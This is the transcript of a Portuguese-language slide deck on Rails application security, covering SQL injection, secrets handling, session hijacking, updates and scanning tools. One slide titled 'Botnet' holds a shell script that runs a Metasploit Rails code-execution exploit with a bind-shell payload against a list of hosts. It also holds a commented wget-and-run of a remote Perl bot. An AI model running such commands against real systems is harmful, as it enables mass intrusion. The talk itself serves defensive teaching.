Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Segurança on Rails

Segurança on Rails

Nessa talk veremos os vetores de ataque mais utilizados para hackear aplicações Rails e o que pode ser feito para eveitar isso. Ao final, um exemplo prático de como é possível construir uma botnet explorando apps desatualizadas.

Daniel Romero

June 22, 2015
Tweet

More Decks by Daniel Romero

Other Decks in Technology

Transcript

  1. #FAIL email = “ ‘ OR 1) --” User.where(“ email

    = ‘#{email}’ ”).first #=> #<User id: 1, email: “[email protected]”> #OK User.where(email: params[:email]) Para ver mais: http://rails-sqli.org/
  2. Configs • não salve configs no repositório; • use variáveis

    de ambiente; • inserir arquivo de config apenas na hora do deploy; • SECRET TOKEN / config/secrets.yml
  3. Session Hijacking • cookies para identificação de users; ◦ hacker

    pode roubar o cookie de um user • SSL em todo processo de autenticação; ◦ config.force_ssl = true • user inativo? ◦ expire a sessão! Mantenha tudo atualizado sempre!
  4. Ainda tem muito mais! • Updates! ◦ Updates no server

    (kernel); ◦ Updates nos softwares do server; ◦ Updates no framework; ◦ Updates nas dependências do projeto; ◦ Updates everywhere!
  5. Como posso verificar? • Testando a segurança do meu código

    #análise estática ◦ http://brakemanscanner.org/ ◦ https://codeclimate.com/ • Verificando atualizações: ◦ http://www.rubysec.com/ ◦ https://github.com/rubysec/ruby-advisory-db ◦ https://github.com/rubysec/bundler-audit ◦ https://hakiri.io/
  6. Botnet #!/bin/sh TARGETS="ip-list.txt" CLI="metasploit-framework/msfcli" for host in $(cat $TARGETS) do

    tmux new-window -n $host $CLI'\ multi/http/rails_xml_yaml_code_exec rhost='$host'\ payload=ruby/shell_bind_tcp E' done #wget -O - http://labs.infoslack.com/bot.pl > /tmp/bot.pl && perl /tmp/bot.pl
  7. O que mais posso fazer ? • http://www.ubuntu.com/usn/ • https://www.ruby-lang.org/en/security/

    • http://nginx.org/en/security_advisories.html • http://guides.rubyonrails.org/security.html